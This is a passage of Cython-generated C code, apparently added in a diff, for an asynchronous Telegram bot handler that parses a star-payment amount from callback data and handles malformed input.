kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 102, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 102, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_9stars_pay_3process_amount_selection(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_3process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_amount_selection", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 102, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_5generator1, __pyx_codeobj__7, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + Py_ssize_t __pyx_t_3; + int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + unsigned int __pyx_t_9; + int __pyx_t_10; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + char const *__pyx_t_16; + PyObject *__pyx_t_17 = NULL; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + PyObject *__pyx_t_24 = NULL; + PyObject *__pyx_t_25 = NULL; + char const *__pyx_t_26; + PyObject *__pyx_t_27 = NULL; + PyObject *__pyx_t_28 = NULL; + PyObject *__pyx_t_29 = NULL; + Py_UCS4 __pyx_t_30; + char const *__pyx_t_31; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L11_resume_from_await; + case 2: goto __pyx_L23_resume_from_await; + case 3: goto __pyx_L40_resume_from_await; + case 4: goto __pyx_L52_resume_from_await; + case 5: goto __pyx_L53_resume_from_await; + case 6: goto __pyx_L54_resume_from_await; + case 7: goto __pyx_L61_resume_from_await; + case 8: goto __pyx_L69_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 102, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":106 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * + * if len(data) != 2: + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":108 + * data = callback_query.data.split("|", 1) + * + * if len(data) != 2: # <<<<<<<<<<<<<< + * try: + * await callback_query.message.delete() + */ + __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 108, __pyx_L1_error) + __pyx_t_4 = (__pyx_t_3 != 2); + if (__pyx_t_4) { + + /* "handlers/payments/stars_pay.py":109 + * + * if len(data) != 2: + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + { + __Pyx_ExceptionSave(&__pyx_t_5, &__pyx_t_6, &__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_7); + /*try:*/ { + + /* "handlers/payments/stars_pay.py":110 + * if len(data) != 2: + * try: + * await callback_query.message.delete() # <<<<<<<<<<<<<< + * except Exception as e: + * logger.error(f" : {e}") + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 110, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_delete); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 110, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 110, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_5; + __Pyx_XGIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_6; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L11_resume_from_await:; + __pyx_t_5 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_5); + __pyx_t_6 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_6); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_7); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 110, __pyx_L5_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 110, __pyx_L5_error) + } + } + + /* "handlers/payments/stars_pay.py":109 + * + * if len(data) != 2: + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + } + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + goto __pyx_L10_try_end; + __pyx_L5_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/stars_pay.py":111 + * try: + * await callback_query.message.delete() + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * + */ + __pyx_t_10 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_10) { + __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_8, &__pyx_t_2) < 0) __PYX_ERR(0, 111, __pyx_L7_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_t_8); + __Pyx_GIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_v_e = __pyx_t_8; + /*try:*/ { + + /* "handlers/payments/stars_pay.py":112 + * await callback_query.message.delete() + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * + * await callback_query.message.answer(" .") + */ + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_logger); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_error); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_kp_u__10, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_13))) { + __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_13); + if (likely(__pyx_t_12)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13); + __Pyx_INCREF(__pyx_t_12); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_13, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_12, __pyx_t_14}; + __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + + /* "handlers/payments/stars_pay.py":111 + * try: + * await callback_query.message.delete() + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L18; + } + __pyx_L17_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19) < 0)) __Pyx_ErrFetch(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __pyx_t_10 = __pyx_lineno; __pyx_t_15 = __pyx_clineno; __pyx_t_16 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_ExceptionReset(__pyx_t_20, __pyx_t_21, __pyx_t_22); + } + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_ErrRestore(__pyx_t_17, __pyx_t_18, __pyx_t_19); + __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; + __pyx_lineno = __pyx_t_10; __pyx_clineno = __pyx_t_15; __pyx_filename = __pyx_t_16; + goto __pyx_L7_except_error; + } + __pyx_L18:; + } + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + goto __pyx_L6_exception_handled; + } + goto __pyx_L7_except_error; + + /* "handlers/payments/stars_pay.py":109 + * + * if len(data) != 2: + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + __pyx_L7_except_error:; + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_5, __pyx_t_6, __pyx_t_7); + goto __pyx_L1_error; + __pyx_L6_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_5, __pyx_t_6, __pyx_t_7); + __pyx_L10_try_end:; + } + + /* "handlers/payments/stars_pay.py":114 + * logger.error(f" : {e}") + * + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 114, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 114, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_kp_u__11}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 114, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L23_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 114, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 114, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":115 + * + * await callback_query.message.answer(" .") + * return # <<<<<<<<<<<<<< + * + * amount_str = data[1] + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/stars_pay.py":108 + * data = callback_query.data.split("|", 1) + * + * if len(data) != 2: # <<<<<<<<<<<<<< + * try: + * await callback_query.message.delete() + */ + } + + /* "handlers/payments/stars_pay.py":117 + * return + * + * amount_str = data[1] # <<<<<<<<<<<<<< + * try: + * amount = int(amount_str) + */ + __pyx_t_2 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 117, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":118 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + { + __Pyx_ExceptionSave(&__pyx_t_7, &__pyx_t_6, &__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_5); + /*try:*/ { + + /* "handlers/payments/stars_pay.py":119 + * amount_str = data[1] + * try: + * amount = int(amount_str) # <<<<<<<<<<<<<< + * except ValueError: + * try: + */ + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 119, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":118 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + } + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + goto __pyx_L29_try_end; + __pyx_L24_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/stars_pay.py":120 + * try: + * amount = int(amount_str) + * except ValueError: # <<<<<<<<<<<<<< + * try: + * await callback_query.message.delete() + */ + __pyx_t_15 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_15) { + __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_1, &__pyx_t_8) < 0) __PYX_ERR(0, 120, __pyx_L26_except_error) + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_8); + + /* "handlers/payments/stars_pay.py":121 + * amount = int(amount_str) + * except ValueError: + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + { + __Pyx_ExceptionSave(&__pyx_t_22, &__pyx_t_21, &__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_20); + /*try:*/ { + + /* "handlers/payments/stars_pay.py":122 + * except ValueError: + * try: + * await callback_query.message.delete() # <<<<<<<<<<<<<< + * except Exception as e: + * logger.error(f" : {e}") + */ + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 122, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_delete); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 122, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_14))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_14); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_14); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_14, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, NULL}; + __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_14, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 122, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_11); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_5; + __Pyx_XGIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_6; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_20); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_20; + __Pyx_XGIVEREF(__pyx_t_21); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_21; + __Pyx_XGIVEREF(__pyx_t_22); + __pyx_cur_scope->__pyx_t_8 = __pyx_t_22; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L40_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_5 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_5); + __pyx_t_6 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_6); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_5; + 